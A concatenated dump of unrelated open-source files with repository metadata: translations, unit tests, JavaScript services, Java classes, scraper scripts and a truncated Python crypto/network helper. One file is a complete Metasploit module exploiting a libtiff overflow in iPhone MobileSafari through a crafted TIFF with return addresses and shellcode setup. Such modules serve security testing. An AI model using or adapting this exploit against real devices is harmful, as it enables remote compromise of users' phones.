<translation>Du må sette rpcpassword=<passord> i konfigurasjonsfilen:
%s
Hvis filen ikke finnes, opprett den med leserettighet kun for eier av filen.</translation>
</message>
</context>
</TS> | WhyFund/WhyCoin | src/qt/locale/bitcoin_nb.ts | TypeScript | mit | 119,468 |
using Machine.Specifications;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace MFlow.Core.Tests.for_FluentValidation
{
public class when_calling_is_equal_with_a_value_that_does_not_satisfy_a_custom_equal_validator : given.a_fluent_user_validator_with_custom_implementation_set_to_replace
{
Because of = () =>
{
user.Password = "doesnotmatchcustomrequiredvalidator";
validator.Check(u => u.Password).IsEqualTo("");
};
It should_not_be_satisfied = () => { validator.Satisfied().ShouldBeFalse(); };
It should_return_the_correct_validation_message = () => { validator.Validate().First().Condition.Message.ShouldEqual("Password should be equal to "); };
}
}
| ccoton/MFlow | src/MFlow.Core.Tests/for_FluentValidation/equal_to/when_calling_is_equal_to_with_a_value_that_does_not_satisfy_a_custom_equal_validator.cs | C# | mit | 783 |
/*
* The MIT License
* Copyright (c) 2014-2016 Nick Guletskii
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
import Util from "oolutil";
import {
property as _property,
omit as _omit
} from "lodash";
import {
services
} from "app";
class UserService {
/* @ngInject*/
constructor($http, $q, Upload, $rootScope) {
this.$http = $http;
this.$q = $q;
this.$rootScope = $rootScope;
this.Upload = Upload;
}
getCurrentUser() {
return this.$http.get("/api/user/personalInfo", {})
.then(_property("data"));
}
changePassword(passwordObj, userId) {
const passwordPatchUrl = !userId ? "/api/user/changePassword" :
`/api/admin/user/${userId}/changePassword`;
return this.$http({
method: "PATCH",
url: passwordPatchUrl,
data: _omit(Util.emptyToNull(passwordObj), "passwordConfirmation")
})
.then(_property("data"));
}
countPendingUsers() {
return this.$http.get("/api/admin/pendingUsersCount")
.then(_property("data"));
}
getPendingUsersPage(page) {
return this.$http.get("/api/admin/pendingUsers", {
params: {
page
}
})
.then(_property("data"));
}
countUsers() {
return this.$http.get("/api/admin/usersCount")
.then(_property("data"));
}
getUsersPage(page) {
return this.$http.get("/api/admin/users", {
params: {
page
}
})
.then(_property("data"));
}
getUserById(id) {
return this.$http.get("/api/user", {
params: {
id
}
})
.then(_property("data"));
}
approveUsers(users) {
return this.$http.post("/api/admin/users/approve", users)
.then(_property("data"));
}
deleteUsers(users) {
return this.$http.post("/api/admin/users/deleteUsers", users)
.then(_property("data"));
}
countArchiveUsers() {
return this.$http.get("/api/archive/rankCount")
.then(_property("data"));
}
getArchiveRankPage(page) {
return this.$http.get("/api/archive/rank", {
params: {
page
}
})
.then(_property("data"));
}
addUserToGroup(groupId, username) {
const deferred = this.$q.defer();
const formData = new FormData();
formData.append("username", username);
this.Upload.http({
method: "POST",
url: `/api/group/${groupId}/addUser`,
headers: {
"Content-Type": undefined,
"X-Auth-Token": this.$rootScope.authToken
},
data: formData,
transformRequest: angular.identity
})
.success((data) => {
deferred.resolve(data);
});
return deferred.promise;
}
removeUserFromGroup(groupId, userId) {
return this.$http.delete(`/api/group/${groupId}/removeUser`, {
params: {
user: userId
}
})
.then(_property("data"));
}
}
services.service("UserService", UserService);
| nickguletskii/OpenOlympus | src/main/resources/public/resources/js/services/userService.js | JavaScript | mit | 3,675 |
namespace FleetManagmentSystem.Web.ViewModels.Manufacture
{
using System.Web.Mvc;
using FleetManagmentSystem.Web.Infrastructure.Mapping;
using FleetManagmentSystem.Web.ViewModels.Base;
using FleetManagmentSystem.Models;
public class ManufactureDropDownListViewModel : BaseViewModel, IMapFrom<Manufacture>
{
[HiddenInput(DisplayValue = false)]
public int Id { get; set; }
public string Name { get; set; }
}
} | gdavidkov/Fleet-management-system | Source/FleetManagmentSystem/Web/FleetManagmentSystem.Web/ViewModels/Manufacture/ManufactureDropDownListViewModel.cs | C# | mit | 467 |
def get_planet_name(id):
switch = {
1: "Mercury",
2: "Venus",
3: "Earth",
4: "Mars",
5: "Jupiter",
6: "Saturn",
7: "Uranus" ,
8: "Neptune"}
return switch[id]
| NendoTaka/CodeForReference | CodeWars/8kyu/planetName.py | Python | mit | 231 |
##
# $Id: safari_libtiff.rb 10394 2010-09-20 08:06:27Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
#
# This module acts as an HTTP server
#
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'iPhone MobileSafari LibTIFF Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the version of
libtiff shipped with firmware versions 1.00, 1.01, 1.02, and
1.1.1 of the Apple iPhone. iPhones which have not had the BSD
tools installed will need to use a special payload.
},
'License' => MSF_LICENSE,
'Author' => ['hdm', 'kf'],
'Version' => '$Revision: 10394 $',
'References' =>
[
['CVE', '2006-3459'],
['OSVDB', '27723'],
['BID', '19283']
],
'Payload' =>
{
'Space' => 1800,
'BadChars' => "",
# Multi-threaded applications are not allowed to execve() on OS X
# This stub injects a vfork/exit in front of the payload
'Prepend' =>
[
0xe3a0c042, # vfork
0xef000080, # sc
0xe3500000, # cmp r0, #0
0x1a000001, # bne
0xe3a0c001, # exit(0)
0xef000080 # sc
].pack("V*")
},
'Targets' =>
[
[ 'MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1)',
{
'Platform' => 'osx',
# Scratch space for our shellcode and stack
'Heap' => 0x00802000,
# Deep inside _swap_m88110_thread_state_impl_t() libSystem.dylib
'Magic' => 0x300d562c,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 01 2006'
))
end
def on_request_uri(cli, req)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Grab reference to the target
t = target
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the compressed response to the client
send_response(cli, generate_tiff(p, t), { 'Content-Type' => 'image/tiff' })
# Handle the payload
handler(cli)
end
def generate_tiff(code, targ)
#
# This is a TIFF file, we have a huge range of evasion
# capabilities, but for now, we don't use them.
# - https://strikecenter.bpointsys.com/articles/2007/10/10/october-2007-microsoft-tuesday
#
lolz = 2048
tiff =
"\x49\x49\x2a\x00\x1e\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x08\x00\x00\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x01\x01\x03\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x03\x01\x03\x00"+
"\x01\x00\x00\x00\xaa\x00\x00\x00\x06\x01\x03\x00"+
"\x01\x00\x00\x00\xbb\x00\x00\x00\x11\x01\x04\x00"+
"\x01\x00\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00"+
"\x01\x00\x00\x00\x15\x00\x00\x00\x1c\x01\x03\x00"+
"\x01\x00\x00\x00\x01\x00\x00\x00\x50\x01\x03\x00"+
[lolz].pack("V") +
"\x84\x00\x00\x00\x00\x00\x00\x00"
# Randomize the bajeezus out of our data
hehe = rand_text(lolz)
# Were going to candy mountain!
hehe[120, 4] = [targ['Magic']].pack("V")
# >> add r0, r4, #0x30
hehe[104, 4] = [ targ['Heap'] - 0x30 ].pack("V")
# Candy mountain, Charlie!
# >> mov r1, sp
# It will be an adventure!
# >> mov r2, r8
hehe[ 92, 4] = [ hehe.length ].pack("V")
# Its a magic leoplurodon!
# It has spoken!
# It has shown us the way!
# >> bl _memcpy
# Its just over this bridge, Charlie!
# This magical bridge!
# >> ldr r3, [r4, #32]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #32]
# >> ldr r3, [r4, #36]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #36]
# >> ldr r3, [r4, #40]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #40]
# >> ldr r3, [r4, #44]
# >> ldrt r3, [pc], r3, lsr #30
# >> str r3, [r4, #44]
# We made it to candy mountain!
# Go inside Charlie!
# sub sp, r7, #0x14
hehe[116, 4] = [ targ['Heap'] + 44 + 0x14 ].pack("V")
# Goodbye Charlie!
# ;; targ['Heap'] + 0x48 becomes the stack pointer
# >> ldmia sp!, {r8, r10}
# Hey, what the...!
# >> ldmia sp!, {r4, r5, r6, r7, pc}
# Return back to the copied heap data
hehe[192, 4] = [ targ['Heap'] + 196 ].pack("V")
# Insert our actual shellcode at heap location + 196
hehe[196, payload.encoded.length] = payload.encoded
tiff << hehe
end
end | hahwul/mad-metasploit | archive/exploits/hardware/remote/16862.rb | Ruby | mit | 4,828 |
define(['view',
'class'],
function(View, clazz) {
function Overlay(el, options) {
options = options || {};
Overlay.super_.call(this, el, options);
this.closable = options.closable;
this._autoRemove = options.autoRemove !== undefined ? options.autoRemove : true;
var self = this;
if (this.closable) {
this.el.on('click', function() {
self.hide();
return false;
});
}
}
clazz.inherits(Overlay, View);
Overlay.prototype.show = function() {
this.emit('show');
this.el.appendTo(document.body);
this.el.removeClass('hide');
return this;
}
Overlay.prototype.hide = function() {
this.emit('hide');
this.el.addClass('hide');
if (this._autoRemove) {
var self = this;
setTimeout(function() {
self.remove();
self.dispose();
}, 10);
}
return this;
}
return Overlay;
});
| sailjs/overlay | overlay.js | JavaScript | mit | 924 |
/**
* The MIT License
*
* Copyright (c) 2014 Martin Crawford and contributors.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package org.atreus.impl.core.mappings.entities.builders;
import org.atreus.core.annotations.AtreusField;
import org.atreus.impl.core.Environment;
import org.atreus.impl.core.mappings.BaseFieldEntityMetaComponentBuilder;
import org.atreus.impl.core.mappings.entities.meta.MetaEntityImpl;
import org.atreus.impl.core.mappings.entities.meta.StaticMetaSimpleFieldImpl;
import org.atreus.impl.util.ObjectUtils;
import java.lang.reflect.Field;
/**
* Simple field meta field builder.
*
* @author Martin Crawford
*/
public class SimpleFieldComponentBuilder extends BaseFieldEntityMetaComponentBuilder {
// Constants ---------------------------------------------------------------------------------------------- Constants
// Instance Variables ---------------------------------------------------------------------------- Instance Variables
// Constructors ---------------------------------------------------------------------------------------- Constructors
public SimpleFieldComponentBuilder(Environment environment) {
super(environment);
}
// Public Methods ------------------------------------------------------------------------------------ Public Methods
@Override
public boolean handleField(MetaEntityImpl metaEntity, Field field) {
// Assumption is this is the last field builder to be called and therefore a simple field
// Create the static field
StaticMetaSimpleFieldImpl metaField = createStaticMetaSimpleField(metaEntity, field, null);
// Check for a field annotation
AtreusField fieldAnnotation = field.getAnnotation(AtreusField.class);
if (fieldAnnotation != null) {
String fieldColumn = fieldAnnotation.value();
if (ObjectUtils.isNotNullOrEmpty(fieldColumn)) {
metaField.setColumn(fieldColumn);
}
}
// Resolve the type strategy
resolveTypeStrategy(metaEntity, metaField, field);
// Add the field to the meta entity
metaEntity.addField(metaField);
return true;
}
// Protected Methods ------------------------------------------------------------------------------ Protected Methods
// Private Methods ---------------------------------------------------------------------------------- Private Methods
// Getters & Setters ------------------------------------------------------------------------------ Getters & Setters
} // end of class | bemisguided/atreus | src/main/java/org/atreus/impl/core/mappings/entities/builders/SimpleFieldComponentBuilder.java | Java | mit | 3,523 |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import * as assert from 'assert';
import { toUint32 } from 'vs/base/common/uint';
import { PrefixSumComputer, PrefixSumIndexOfResult } from 'vs/editor/common/model/prefixSumComputer';
function toUint32Array(arr: number[]): Uint32Array {
const len = arr.length;
const r = new Uint32Array(len);
for (let i = 0; i < len; i++) {
r[i] = toUint32(arr[i]);
}
return r;
}
suite('Editor ViewModel - PrefixSumComputer', () => {
test('PrefixSumComputer', () => {
let indexOfResult: PrefixSumIndexOfResult;
const psc = new PrefixSumComputer(toUint32Array([1, 1, 2, 1, 3]));
assert.strictEqual(psc.getTotalSum(), 8);
assert.strictEqual(psc.getPrefixSum(-1), 0);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 2);
assert.strictEqual(psc.getPrefixSum(2), 4);
assert.strictEqual(psc.getPrefixSum(3), 5);
assert.strictEqual(psc.getPrefixSum(4), 8);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 1);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 2);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 2);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 3);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(5);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(6);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(7);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 2);
indexOfResult = psc.getIndexOf(8);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 3);
// [1, 2, 2, 1, 3]
psc.setValue(1, 2);
assert.strictEqual(psc.getTotalSum(), 9);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 3);
assert.strictEqual(psc.getPrefixSum(2), 5);
assert.strictEqual(psc.getPrefixSum(3), 6);
assert.strictEqual(psc.getPrefixSum(4), 9);
// [1, 0, 2, 1, 3]
psc.setValue(1, 0);
assert.strictEqual(psc.getTotalSum(), 7);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 1);
assert.strictEqual(psc.getPrefixSum(2), 3);
assert.strictEqual(psc.getPrefixSum(3), 4);
assert.strictEqual(psc.getPrefixSum(4), 7);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 2);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 2);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 3);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(5);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(6);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 2);
indexOfResult = psc.getIndexOf(7);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 3);
// [1, 0, 0, 1, 3]
psc.setValue(2, 0);
assert.strictEqual(psc.getTotalSum(), 5);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 1);
assert.strictEqual(psc.getPrefixSum(2), 1);
assert.strictEqual(psc.getPrefixSum(3), 2);
assert.strictEqual(psc.getPrefixSum(4), 5);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 3);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 2);
indexOfResult = psc.getIndexOf(5);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 3);
// [1, 0, 0, 0, 3]
psc.setValue(3, 0);
assert.strictEqual(psc.getTotalSum(), 4);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 1);
assert.strictEqual(psc.getPrefixSum(2), 1);
assert.strictEqual(psc.getPrefixSum(3), 1);
assert.strictEqual(psc.getPrefixSum(4), 4);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 2);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 3);
// [1, 1, 0, 1, 1]
psc.setValue(1, 1);
psc.setValue(3, 1);
psc.setValue(4, 1);
assert.strictEqual(psc.getTotalSum(), 4);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 2);
assert.strictEqual(psc.getPrefixSum(2), 2);
assert.strictEqual(psc.getPrefixSum(3), 3);
assert.strictEqual(psc.getPrefixSum(4), 4);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 1);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 3);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
});
});
| microsoft/vscode | src/vs/editor/test/common/viewModel/prefixSumComputer.test.ts | TypeScript | mit | 7,284 |
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var androidUnlock = exports.androidUnlock = { "viewBox": "0 0 512 512", "children": [{ "name": "path", "attribs": { "d": "M376,186h-20v-40c0-55-45-100-100-100S156,91,156,146h37.998c0-34.004,28.003-62.002,62.002-62.002\r\n\tc34.004,0,62.002,27.998,62.002,62.002H318v40H136c-22.002,0-40,17.998-40,40v200c0,22.002,17.998,40,40,40h240\r\n\tc22.002,0,40-17.998,40-40V226C416,203.998,398.002,186,376,186z M256,368c-22.002,0-40-17.998-40-40s17.998-40,40-40\r\n\ts40,17.998,40,40S278.002,368,256,368z" }, "children": [] }] }; | xuan6/admin_dashboard_local_dev | node_modules/react-icons-kit/ionicons/androidUnlock.js | JavaScript | mit | 597 |
package com.jbsc.service.iface;
import com.jbsc.domain.Company;
public interface CompanyService {
Company saveCompany(Company co);
Company loadCompanyById(Integer id);
Company loadCompanyByContactId(Integer id);
}
| jazzbom/JBSC | src/main/java/com/jbsc/service/iface/CompanyService.java | Java | mit | 226 |
package org.zalando.intellij.swagger.documentation.openapi;
import com.intellij.openapi.components.ServiceManager;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFile;
import java.util.Optional;
import java.util.stream.Stream;
import org.jetbrains.annotations.Nullable;
import org.zalando.intellij.swagger.documentation.ApiDocumentProvider;
import org.zalando.intellij.swagger.file.OpenApiFileType;
import org.zalando.intellij.swagger.index.openapi.OpenApiIndexService;
import org.zalando.intellij.swagger.traversal.path.openapi.PathResolver;
import org.zalando.intellij.swagger.traversal.path.openapi.PathResolverFactory;
public class OpenApiDocumentationProvider extends ApiDocumentProvider {
@Nullable
@Override
public String getQuickNavigateInfo(
final PsiElement targetElement, final PsiElement originalElement) {
Optional<PsiFile> psiFile =
Optional.ofNullable(targetElement).map(PsiElement::getContainingFile);
final Optional<VirtualFile> maybeVirtualFile = psiFile.map(PsiFile::getVirtualFile);
final Optional<Project> maybeProject = psiFile.map(PsiFile::getProject);
return maybeVirtualFile
.flatMap(
virtualFile -> {
final Project project = maybeProject.get();
final Optional<OpenApiFileType> maybeFileType =
ServiceManager.getService(OpenApiIndexService.class)
.getFileType(project, virtualFile);
return maybeFileType.map(
openApiFileType -> {
final PathResolver pathResolver =
PathResolverFactory.fromOpenApiFileType(openApiFileType);
if (pathResolver.childOfSchema(targetElement)) {
return handleSchemaReference(targetElement, originalElement);
} else if (pathResolver.childOfResponse(targetElement)) {
return handleResponseReference(targetElement);
} else if (pathResolver.childOfParameters(targetElement)) {
return handleParameterReference(targetElement);
} else if (pathResolver.childOfExample(targetElement)) {
return handleExampleReference(targetElement);
} else if (pathResolver.childOfRequestBody(targetElement)) {
return handleRequestBodyReference(targetElement);
} else if (pathResolver.childOfHeader(targetElement)) {
return handleHeaderReference(targetElement);
} else if (pathResolver.childOfLink(targetElement)) {
return handleLinkReference(targetElement);
}
return null;
});
})
.orElse(null);
}
private String handleLinkReference(final PsiElement targetElement) {
final Optional<String> description = getUnquotedFieldValue(targetElement, "description");
return toHtml(Stream.of(description));
}
private String handleHeaderReference(final PsiElement targetElement) {
final Optional<String> description = getUnquotedFieldValue(targetElement, "description");
return toHtml(Stream.of(description));
}
private String handleRequestBodyReference(final PsiElement targetElement) {
final Optional<String> description = getUnquotedFieldValue(targetElement, "description");
return toHtml(Stream.of(description));
}
private String handleExampleReference(final PsiElement targetElement) {
final Optional<String> summary = getUnquotedFieldValue(targetElement, "summary");
final Optional<String> description = getUnquotedFieldValue(targetElement, "description");
return toHtml(Stream.of(summary, description));
}
}
| zalando/intellij-swagger | src/main/java/org/zalando/intellij/swagger/documentation/openapi/OpenApiDocumentationProvider.java | Java | mit | 3,876 |
/* this is all example code which should be changed; see query.js for how it works */
authUrl = "http://importio-signedserver.herokuapp.com/";
reEx.push(/\/_source$/);
/*
//change doReady() to auto-query on document ready
var doReadyOrg = doReady;
doReady = function() {
doReadyOrg();
doQuery();//query on ready
}
*/
//change doReady() to add autocomplete-related events
// http://jqueryui.com/autocomplete/ http://api.jqueryui.com/autocomplete/
var acField;//autocomplete data field
var acSel;//autocomplete input selector
var acsSel = "#autocomplete-spin";//autocomplete spinner selector
var cache = {};//autocomplete cache
var termCur = "";//autocomplete current term
var doReadyOrg = doReady;
doReady = function() {
doReadyOrg();
$(acSel)
.focus()
.bind("keydown", function(event) {
// http://api.jqueryui.com/jQuery.ui.keyCode/
switch(event.keyCode) {
//don't fire autocomplete on certain keys
case $.ui.keyCode.LEFT:
case $.ui.keyCode.RIGHT:
event.stopImmediatePropagation();
return true;
break;
//submit form on enter
case $.ui.keyCode.ENTER:
doQuery();
$(this).autocomplete("close");
break;
}
})
.autocomplete({
minLength: 3,
source: function(request, response) {
var term = request.term.replace(/[^\w\s]/gi, '').trim().toUpperCase();//replace all but "words" [A-Za-z0-9_] & whitespaces
if (term in cache) {
doneCompleteCallbackStop();
response(cache[term]);
return;
}
termCur = term;
if (spinOpts) {
$(acsSel).spin(spinOpts);
}
cache[term] = [];
doComplete(term);
response(cache[term]);//send empty for now
}
});
};
function doComplete(term) {
doQueryMy();
var qObjComplete = jQuery.extend({}, qObj);//copy to new obj
qObjComplete.maxPages = 1;
importio.query(qObjComplete,
{ "data": function(data) {
dataCompleteCallback(data, term);
},
"done": function(data) {
doneCompleteCallback(data, term);
}
}
);
}
var dataCompleteCallback = function(data, term) {
console.log("Data received", data);
for (var i = 0; i < data.length; i++) {
var d = data[i];
var c = d.data[acField];
if (typeof filterComplete === 'function') {
c = filterComplete(c);
}
c = c.trim();
if (!c) {
continue;
}
cache[term].push(c);
}
}
var doneCompleteCallback = function(data, term) {
console.log("Done, all data:", data);
console.log("cache:", cache);
// http://stackoverflow.com/questions/16747798/delete-duplicate-elements-from-an-array
cache[term] = cache[term].filter(
function(elem, index, self) {
return index == self.indexOf(elem);
});
if (termCur != term) {
return;
}
doneCompleteCallbackStop();
$(acSel).trigger("keydown");
}
var doneCompleteCallbackStop = function() {
termCur = "";
if (spinOpts) {
$(acsSel).spin(false);
}
}
/* Query for tile Store Locators
*/
fFields.push({id: "postcode", html: '<input id="postcode" type="text" value="EC2M 4TP" />'});
fFields.push({id: "autocomplete-spin", html: '<span id="autocomplete-spin"></span>'});
fFields.push({id: "submit", html: '<button id="submit" onclick="doQuery();">Query</button>'});
acField = "address";
var filterComplete = function(val) {
if (val.indexOf(", ") == -1) {
return "";
}
return val.split(", ").pop();
}
acSel = "#postcode";
qObj.connectorGuids = [
"8f628f9d-b564-4888-bc99-1fb54b2df7df",
"7290b98f-5bc0-4055-a5df-d7639382c9c3",
"14d71ff7-b58f-4b37-bb5b-e2475bdb6eb9",
"9c99f396-2b8c-41e0-9799-38b039fe19cc",
"a0087993-5673-4d62-a5ae-62c67c1bcc40"
];
var doQueryMy = function() {
qObj.input = {
"postcode": $("#postcode").val()
};
}
/* Here's some other example code for a completely different API
fFields.push({id: "title", html: '<input id="title" type="text" value="harry potter" />'});
fFields.push({id: "autocomplete-spin", html: '<span id="autocomplete-spin"></span>'});
fFields.push({id: "submit", html: '<button id="submit" onclick="doQuery();">Query</button>'});
acField = "title";
acSel = "#title";
filters["image"] = function(val, row) {
return '<a href="' + val + '" target="_blank">' + val + '</a>';
}
qObj.connectorGuids = [
"ABC"
];
var doQueryMy = function() {
qObj.input = {
"search": $("#title").val()
};
}
*/
/* Here's some other example code for a completely different API
colNames = ["ranking", "title", "artist", "album", "peak_pos", "last_pos", "weeks", "image", "spotify", "rdio", "video"];
filters["title"] = function(val, row) {
return "<b>" + val + "</b>";
}
filters["video"] = function(val, row) {
if (val.substring(0, 7) != "http://") {
return val;
}
return '<a href="' + val + '" target="_blank">' + val + '</a>';
}
doQuery = function() {
doQueryPre();
for (var page = 0; page < 10; page++) {
importio.query({
"connectorGuids": [
"XYZ"
],
"input": {
"webpage/url": "http://www.billboard.com/charts/hot-100?page=" + page
}
}, { "data": dataCallback, "done": doneCallback });
}
}
*/
| infiniteschema/importio-query | js/my.js | JavaScript | mit | 5,121 |
import sys
import time
import socket
import struct
import random
import hashlib
import urllib2
from Crypto import Random
from Crypto.Cipher import AES
# from itertools import izip_longest
# Setting timeout so that we won't wait forever
timeout = 2
socket.setdefaulttimeout(timeout)
limit = 256*256*256*256 - 1
def md5(fname):
hash_md5 = hashlib.md5()
with open(fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
def chunkstring(s, n):
return [ s[i:i+n] for i in xrange(0, len(s), n) ]
class AESCipher(object):
def __init__(self, key):
self.bs = 32
self.key = hashlib.sha256(key.encode()).digest()
def encrypt(self, raw):
raw = self._pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(raw)
def decrypt(self, enc):
# enc = base64.b64decode(enc)
iv = enc[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')
def _pad(self, s):
